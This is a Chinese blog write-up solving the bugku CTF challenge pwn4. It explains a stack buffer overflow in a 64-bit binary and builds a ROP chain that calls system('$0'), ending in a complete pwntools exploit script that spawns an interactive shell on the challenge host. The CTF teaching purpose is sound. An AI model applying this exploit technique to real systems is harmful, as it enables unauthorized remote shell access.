这道题来自bugku的第三道pwn题,pwn4。首先进行一些常规检查。

一个64位动态链接的程序,没有开什么保护。
然后用IDA打开,有个危险函数read,可以用来溢出。

shift + F12查看有没有可疑字符串,然后在字符串上按x查看引用他的地方,找到了一个system函数

但是system函数里面的字符串并不是我们想要的'/bin/sh',尝试用ROPgadget去搜索,命令为ROPgadget --binary pwn4 --string '/bin/sh',搜索无果。。。再回到IDA中检测字符串

发现了一个$0,$0在linux中为为shell或shell脚本的名称。
system()会调用fork()产生子进程,由子进程来调用/bin/sh -c string来执行参数string字符串所代表的命令,此命令执行完后随即返回原调用的进程。
所以如果将$0作为system的参数,能达到传入'/bin/sh'一样的效果。

上面的图展示了$0在bash中的值,可以看到一开始的进程只有两个,此时输出$0,得到的是bash本身,单独输入$0,可以看到多了一个bash进程。
有了system函数和$0作为参数,就可以进行溢出了。
还有要注意的就是64位程序和32位程序的传参方式不一样,32位的函数调用使用栈传参,64位的函数调用使用寄存器传参,分别用rdi、rsi、rdx、rcx、r8、r9来传递参数(参数个数小于7的时候)。
我们利用ROPgadget工具进行查找,得到pop rdi ; ret 和$0的地址,system的地址直接在IDA中查看


首先先填充缓冲区,大小为0x10,然后覆盖rbp,8个字节,传入pop rdi;ret的地址和$0,将栈中$0的地址弹出,存入rdi作为参数,在传入system地址进行调用。
下面是脚本
from pwn import *
context.log_level = 'debug'
conn = remote('114.116.54.89', 10004)
# conn = process('./pwn4')
pop_rdi = 0x00000000004007d3
bin_sh = 0x000000000060111f
system = 0x000000000040075A
payload = 'A' * (0x10+8) + p64(pop_rdi) + p64(bin_sh) + p64(system)
conn.recvuntil('Come on,try to pwn me')
conn.sendline(payload)
conn.interactive()


博客围绕bugku的pwn4题展开。先对64位动态链接且未开保护的程序进行常规检查,用IDA打开发现危险函数用于溢出。找到可利用的字符串,结合函数和参数实现溢出。还提及32位与64位程序传参方式不同,最后给出利用思路和脚本。
542

被折叠的 条评论
为什么被折叠?



